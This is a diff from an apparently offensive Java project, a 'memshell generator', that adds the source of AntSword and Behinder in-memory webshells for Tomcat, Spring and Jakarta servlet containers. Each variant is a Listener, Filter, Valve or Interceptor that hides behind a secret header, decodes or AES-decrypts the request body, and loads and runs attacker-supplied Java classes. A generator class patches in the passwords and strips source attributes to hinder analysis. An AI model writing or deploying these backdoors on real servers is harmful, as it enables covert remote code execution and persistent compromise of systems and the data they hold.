public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
try {
|
||||
byte[] data = base64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
response.flushBuffer();
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
public class AntSwordListener implements ServletRequestListener {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
HttpServletResponse response = getResponseFromRequest(request);
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
try {
|
||||
byte[] data = base64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
response.flushBuffer();
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
package jmg.antsword.memshell;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
|
||||
|
||||
public class AntSwordValve extends ClassLoader implements Valve {
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public String pass;
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
|
||||
public AntSwordValve() {
|
||||
}
|
||||
|
||||
public AntSwordValve(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
public Class g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName).contains(headerValue)) {
|
||||
String cls = request.getParameter(pass);
|
||||
if (cls != null) {
|
||||
|
||||
byte[] data = base64Decode(cls);
|
||||
URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
|
||||
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
method.setAccessible(true);
|
||||
Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
|
||||
clazz.newInstance().equals(new Object[]{request, response});
|
||||
}
|
||||
}else {
|
||||
// 重要: 没有这一步会将目标服务器打挂
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package jmg.antsword.util;
|
||||
|
||||
import jmg.antsword.memshell.*;
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class ShellUtil {
|
||||
|
||||
private static final Map<String, String> SHELL_CLASSNAME_MAP = new HashMap();
|
||||
private static final Map<String, Map<String, String>> toolMap = new HashMap();
|
||||
|
||||
public ShellUtil() {
|
||||
}
|
||||
|
||||
public static String getShellName(String toolType, String shellType) {
|
||||
Map<String, String> shellMap = toolMap.get(toolType);
|
||||
return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
|
||||
}
|
||||
|
||||
public static String getShellClassName(String shellName) throws Exception {
|
||||
if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
|
||||
throw new Exception("Invalid shell type '" + shellName + "'");
|
||||
} else {
|
||||
return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
|
||||
}
|
||||
}
|
||||
|
||||
static {
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordListener.class.getSimpleName(), AntSwordListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordFilter.class.getSimpleName(), AntSwordFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordJakartaListener.class.getSimpleName(), AntSwordJakartaListener.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordJakartaFilter.class.getSimpleName(), AntSwordJakartaFilter.class.getName());
|
||||
SHELL_CLASSNAME_MAP.put(AntSwordValve.class.getSimpleName(), AntSwordValve.class.getName());
|
||||
|
||||
Map<String, String> antSwordMap = new HashMap();
|
||||
antSwordMap.put(Constants.SHELL_FILTER, AntSwordFilter.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_LISTENER, AntSwordListener.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_JAKARTA_FILTER, AntSwordJakartaFilter.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_JAKARTA_LISTENER, AntSwordJakartaListener.class.getSimpleName());
|
||||
antSwordMap.put(Constants.SHELL_VALVE, AntSwordValve.class.getSimpleName());
|
||||
toolMap.put(Constants.TOOL_ANTSWORD, antSwordMap);
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<parent>
|
||||
<groupId>jmg</groupId>
|
||||
<artifactId>java-memshell-generator</artifactId>
|
||||
<version>1.0.8</version>
|
||||
</parent>
|
||||
<artifactId>jmg-behinder</artifactId>
|
||||
|
||||
|
||||
<dependencies>
|
||||
<dependency>
|
||||
<groupId>${parent.groupId}</groupId>
|
||||
<artifactId>jmg-core</artifactId>
|
||||
<version>${parent.version}</version>
|
||||
<scope>compile</scope>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
</project>
|
||||
@@ -0,0 +1,62 @@
|
||||
package jmg.behinder.generator;
|
||||
|
||||
import javassist.ClassClassPath;
|
||||
import javassist.CtClass;
|
||||
import jmg.behinder.util.ShellUtil;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.generator.IShellGenerator;
|
||||
import jmg.core.util.CommonUtil;
|
||||
import jmg.core.util.JavassistUtil;
|
||||
import jmg.core.util.ResponseUtil;
|
||||
|
||||
public class BehinderGenerator implements IShellGenerator {
|
||||
|
||||
@Override
|
||||
public void initShell(AbstractConfig config) {
|
||||
if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] makeShell(AbstractConfig config) throws Exception {
|
||||
initShell(config);
|
||||
String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
|
||||
String shellClassName = ShellUtil.getShellClassName(shellName);
|
||||
byte[] bytes = modifyShell(shellClassName, config);
|
||||
config.setShellBytes(bytes);
|
||||
config.setShellBytesLength(bytes.length);
|
||||
config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
|
||||
return bytes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] modifyShell(String className, AbstractConfig config) {
|
||||
byte[] bytes = new byte[0];
|
||||
try {
|
||||
pool.insertClassPath(new ClassClassPath(BehinderGenerator.class));
|
||||
CtClass ctClass = pool.getCtClass(className);
|
||||
ctClass.getClassFile().setVersionToJava5();
|
||||
JavassistUtil.addFieldIfNotNull(ctClass, "pass", CommonUtil.getMd5(config.getPass()).substring(0, 16));
|
||||
JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
|
||||
JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
|
||||
JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
|
||||
if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
|
||||
String methodBody = ResponseUtil.getMethodBody(config.getServerType());
|
||||
methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
|
||||
JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
|
||||
}
|
||||
JavassistUtil.removeSourceFileAttribute(ctClass);
|
||||
bytes = ctClass.toBytecode();
|
||||
ctClass.detach();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return bytes;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,70 @@
|
||||
package jmg.behinder.memshell;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
public class BehinderFilter extends ClassLoader implements Filter {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public Class g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public BehinderFilter() {
|
||||
}
|
||||
|
||||
public BehinderFilter(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
|
||||
Map obj = new HashMap();
|
||||
obj.put("request", servletRequest);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
|
||||
session.putValue("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
(new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] doBase64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,78 @@
|
||||
package jmg.behinder.memshell;
|
||||
|
||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.http.Cookie;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.UUID;
|
||||
|
||||
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||
|
||||
|
||||
public String pass;
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
|
||||
|
||||
public Class g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
|
||||
public BehinderInterceptor(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public BehinderInterceptor() {
|
||||
}
|
||||
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
try {
|
||||
HttpSession session = request.getSession();
|
||||
Map obj = new HashMap();
|
||||
obj.put("request", request);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
session.putValue("u", this.pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
(new BehinderInterceptor(this.getClass().getClassLoader())).g(c.doFinal(this.b64Decode(request.getReader().readLine()))).newInstance().equals(obj);
|
||||
} catch (Exception e) {
|
||||
}
|
||||
return false;
|
||||
} else {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] b64Decode(String bs) throws Exception {
|
||||
byte[] value = null;
|
||||
|
||||
Class base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
|
||||
} catch (Exception var5) {
|
||||
}
|
||||
}
|
||||
|
||||
return value;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
package jmg.behinder.memshell;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
public class BehinderJakartaFilter extends ClassLoader implements Filter {
|
||||
public String pass;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public Class g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
public BehinderJakartaFilter() {
|
||||
}
|
||||
|
||||
public BehinderJakartaFilter(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
|
||||
try {
|
||||
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
|
||||
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
|
||||
Map obj = new HashMap();
|
||||
obj.put("request", servletRequest);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
|
||||
// fix: SpringBoot 3.3.3 (Tomcat/10.1.28)
|
||||
// java.lang.NoSuchMethodError: 'void jakarta.servlet.http.HttpSession.putValue(java.lang.String, java.lang.Object)'
|
||||
// session.putValue("u", this.pass);
|
||||
session.setAttribute("u", pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||
(new BehinderJakartaFilter(this.getClass().getClassLoader())).g(c.doFinal(this.doBase64Decode(servletRequest.getReader().readLine()))).newInstance().equals(obj);
|
||||
} else {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
filterChain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] doBase64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
package jmg.behinder.memshell;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class BehinderJakartaListener extends ClassLoader implements ServletRequestListener {
|
||||
public String pass;
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
|
||||
|
||||
public BehinderJakartaListener() {
|
||||
}
|
||||
|
||||
public BehinderJakartaListener(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public Class g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
Map obj = new HashMap();
|
||||
obj.put("request", request);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
try {
|
||||
// session.putValue("u", pass);
|
||||
session.setAttribute("u", pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
(new BehinderJakartaListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package jmg.behinder.memshell;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||
public String pass;
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
|
||||
|
||||
public BehinderListener() {
|
||||
}
|
||||
|
||||
public BehinderListener(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
|
||||
public Class g(byte[] b) {
|
||||
return super.defineClass(b, 0, b.length);
|
||||
}
|
||||
|
||||
|
||||
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
|
||||
}
|
||||
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
Map obj = new HashMap();
|
||||
obj.put("request", request);
|
||||
obj.put("response", response);
|
||||
obj.put("session", session);
|
||||
try {
|
||||
session.putValue("u", pass);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
(new BehinderListener(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(request.getReader().readLine()))).newInstance().equals(obj);
|
||||
} catch (Exception var7) {
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] base64Decode(String str) throws Exception {
|
||||
try {
|
||||
Class clazz = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
|
||||
} catch (Exception var5) {
|
||||
Class clazz = Class.forName("java.util.Base64");
|
||||
Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
|
||||
return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,89 @@
|
||||
package jmg.behinder.memshell;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
public class BehinderValve extends ClassLoader implements Valve {
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public String pass;
|
||||
|
||||
public String headerName;
|
||||
|
||||
public String headerValue;
|
||||
|
||||
public BehinderValve() {
|
||||
}
|
||||
|
||||
public BehinderValve(ClassLoader c) {
|
||||
super(c);
|
||||
}
|
||||
|
||||
public Class g(byte[] b) {
|
||||
